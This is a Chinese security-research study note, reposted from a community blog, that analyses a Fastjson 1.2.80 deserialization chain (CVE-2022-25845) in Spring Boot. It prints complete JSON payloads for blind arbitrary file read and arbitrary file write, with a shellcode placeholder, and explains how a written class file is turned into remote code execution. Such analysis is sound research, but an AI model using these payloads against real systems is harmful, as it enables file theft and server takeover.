免责声明:由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
文章作者:先知社区(ph0ebus)
文章来源:https://xz.aliyun.com/news/16145
前言
所有依赖 Fastjson 版本 1.2.80 或更早版本的程序,在应用程序中如果包含使用用户数据调用 JSON.parse
或 JSON.parseObject
方法,但不指定要反序列化的特定类,都会受此漏洞的影响。
在之前的研究中针对fj1.2.80已经有了三种常见的利用场景
GitHub - su18/hack-fastjson-1.2.80
漏洞复现
需要的依赖
-
jackson -
commons-io
思路
-
将InputStream放入fastjson缓存 -
读取/tmp文件下的文件,找到docbase的文件名。 -
往${docbase}/WEB-INF/classes/路径下写入恶意类 -
通过fastjson触发类加载
GitHub - ph0ebus/CVE-2022-25845-In-Spring: exploit by python
漏洞分析
cache
这个新链子也是利用缓存机制
{"@type":"java.lang.Exception","@type":"com.fasterxml.jackson.core.exc.InputCoercionException"}
TypeUtils.getClassFromMapping()
尝试从缓存中获取java.lang.Exception
类com.alibaba.fastjson.util.TypeUtils#addBaseClassMappings
初始化中默认添加了一些作为缓存了的类,其中就包含Exception.class
从缓存中获取class后返回,然后继续恢复其字段信息
com.alibaba.fastjson.parser.ParserConfig#getDeserializer
先通过获取到的class获取对应的反序列化器
java.lang.Exception
类符合这个判断条件,于是反序列化器被设置为ThrowableDeserializer
com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer#deserialze
反序列化过程中会将Exception作为期望类@type
@type
时会将Throwable.class
作为期望类传入com.alibaba.fastjson.parser.ParserConfig#checkAutoType()
read
进一步分析一下任意读的payload
{
"a": "{ "@type": "java.lang.Exception", "@type": "com.fasterxml.jackson.core.exc.InputCoercionException", "p": { } }",
"b": {
"$ref": "$.a.a"
},
"c": "{ "@type": "com.fasterxml.jackson.core.JsonParser", "@type": "com.fasterxml.jackson.core.json.UTF8StreamJsonParser", "in": {}}",
"d": {
"$ref": "$.c.c"
}
}
利用循环引用尝试将字符串转换为对象并获取对象的值,按作者的话来说,这里是利用JsonPath来忽略本有的异常
接着上面继续分析,恢复好com.fasterxml.jackson.core.exc.InputCoercionException
后,继续利用com.alibaba.fastjson.parser.deserializer.ThrowableDeserializer#deserialze
获取字段,根据key实例化出FieldDeserializer
进一步处理
TypeUtils#cast
进行类型转换com.alibaba.fastjson.util.TypeUtils#cast(java.lang.Object, java.lang.Class<T>, com.alibaba.fastjson.parser.ParserConfig)
会根据传入的obj进行相应的类型转换,这里会进入Map
类型这个分支com.alibaba.fastjson.util.TypeUtils#castToJavaBean(java.util.Map<java.lang.String,java.lang.Object>, java.lang.Class<T>, com.alibaba.fastjson.parser.ParserConfig)
,根据构造方法参数类型clazz获取反序列化器,clazz为com.fasterxml.jackson.core.JsonParser
putDeserializer
函数this.deserializers.put(type, deserializer)
type
和deserializer
存入com.alibaba.fastjson.util.IdentityHashMap#buckets
中com.fasterxml.jackson.core.JsonParser
中,调用this.deserializers.findClass(typeName)
就可以从com.alibaba.fastjson.util.IdentityHashMap#buckets
中获取到这个类而com.fasterxml.jackson.core.json.UTF8StreamJsonParser
是com.fasterxml.jackson.core.JsonParser
的子类,类似前面利用java.lang.Exception
恢复com.fasterxml.jackson.core.exc.InputCoercionException
一样
UTF8StreamJsonParser
的构造参数存在InputStream
,因此可以进一步获取到InputStream
public UTF8StreamJsonParser(IOContext ctxt, int features, InputStream in, ObjectCodec codec, ByteQuadsCanonicalizer sym, byte[] inputBuffer, int start, int end, int bytesPreProcessed, boolean bufferRecyclable) {
super(ctxt, features);
this._quadBuffer = new int[16];
this._inputStream = in;
this._objectCodec = codec;
this._symbols = sym;
this._inputBuffer = inputBuffer;
this._inputPtr = start;
this._inputEnd = end;
this._currInputRowStart = start - bytesPreProcessed;
this._currInputProcessed = (long)(-start + bytesPreProcessed);
this._bufferRecyclable = bufferRecyclable;
}
而获取InputStream
就是为了实现任意文件读
原blackhat usa 21的议题ppt
https://i.blackhat.com/USA21/Wednesday-Handouts/US-21-Xing-How-I-Used-a-JSON.pdf
这里就是通过org.apache.commons.io.input.BOMInputStream
来逐字节盲读取文件
org.apache.commons.io.input.BOMInputStream#getBOM
中会调用org.apache.commons.io.input.BOMInputStream#find
方法ByteOrderMark
里的 bytes 挨个字节遍历去比对,如果遍历过程有比对错误的,getBom
方法 就会返回null
,如果遍历结束,没有比对错误那就会返回一个ByteOrderMark
对象因此逐字节盲读取的关键差异点就在这里
最后输入流来源来自于jdk.nashorn.api.scripting.URLReader
,public URLReader(URL url)
可以传入一个 URL 对象。这就意味着 file jar http 等协议都可以使用。这里传入了file协议用于列举目录
write
然后分析一下任意文件写的payload
{
"a": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.AutoCloseInputStream",
"in": {
"@type": "org.apache.commons.io.input.TeeInputStream",
"input": {
"@type": "org.apache.commons.io.input.CharSequenceInputStream",
"cs": {
"@type": "java.lang.String"
"${shellcode}",
"charset": "iso-8859-1",
"bufferSize": ${size}
},
"branch": {
"@type": "org.apache.commons.io.output.WriterOutputStream",
"writer": {
"@type": "org.apache.commons.io.output.LockableFileWriter",
"file": "${file2write}",
"charset": "iso-8859-1",
"append": true
},
"charset": "iso-8859-1",
"bufferSize": 1024,
"writeImmediately": true
},
"closeBranch": true
}
},
"b": {
"@type": "java.io.InputStream",
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "org.apache.commons.io.input.XmlStreamReader",
"inputStream": {
"$ref": "$.a"
},
"httpContentType": "text/xml",
"lenient": false,
"defaultEncoding": "iso-8859-1"
},
"charsetName": "iso-8859-1",
"bufferSize": 1024
},
"c": {}
}
org.apache.commons.io.input.TeeInputStream#read()
方法来写入数据其中的一些细节可以参考
Fastjson 1.2.68 反序列化漏洞 Commons IO 2.x 写文件利用链挖掘分析
但是这里作者似乎找到了一个更好的链子规避blackhat议题中原Poc链子中存在的写入缓冲区的8192字节限制
write2RCE
然后需要讨论的就是如何在任意文件写入的情况下RCE
https://mrwq.github.io/aggregate-paper/butian/JDK8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%86%99%E5%88%B0RCE/
Spring Boot Fat Jar 写文件漏洞到稳定 RCE 的探索
常见的做法比如覆盖charsets.jar就是利用jvm的懒加载,覆盖<font style="color:rgb(74, 81, 83);">JDK HOME 目录下原有的 jar中</font>未被加载的charsets.jar包。但这个做法需要事先知道 JDK HOME 的目录路径,并且需要root权限。而且需要针对目标服务jdk版本准备恶意charsets.jar文件,否则可能影响正常服务;又比如利用类加载,在jdk home目录下向classes目录写入恶意class文件,然后利用fastjson的@type
触发类加载即可RCE
这里作者也是利用了类加载,不过这里换了一个新的类加载口子
在fastjson反序列化过程中,针对不在黑白名单,并且缓存中没有的类会通过com.alibaba.fastjson.util.TypeUtils#loadClass()
尝试加载类,其中会通过通过TomcatEmbeddedWebappClassLoader
类加载器加载类
WebappClassLoaderBase
来加载,一路跟下去可以发现在org.apache.catalina.loader.WebappClassLoaderBase#findClass
中会调用org.apache.catalina.loader.WebappClassLoaderBase#findClassInternal
方法来寻找内部类findClassInternal
org.apache.catalina.webresources.StandardRoot#getClassLoaderResource
跟踪类加载路径isCachingAllowed()
,而属性cachingAllowed
默认为truepublic boolean isCachingAllowed() {
return this.cachingAllowed;
}
org.apache.catalina.webresources.Cache#getResource
方法this.root.getResourceInternal(path, useClassLoaderResources)
private boolean noCache(String path) {
return path.endsWith(".class") && (path.startsWith("/WEB-INF/classes/") || path.startsWith("/WEB-INF/lib/")) || path.startsWith("/WEB-INF/lib/") && path.endsWith(".jar");
}
org.apache.catalina.webresources.StandardRoot#getResourceInternal
如果这个class文件存在就会正常返回该文件资源,然后恶意类加载达到RCE
后记
好复杂好复杂,结合三篇议题ppt才能微懂,如果有误轻喷
原文始发于微信公众号(七芒星实验室):fastjson1.2.80 in Springtboot新链学习记录
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论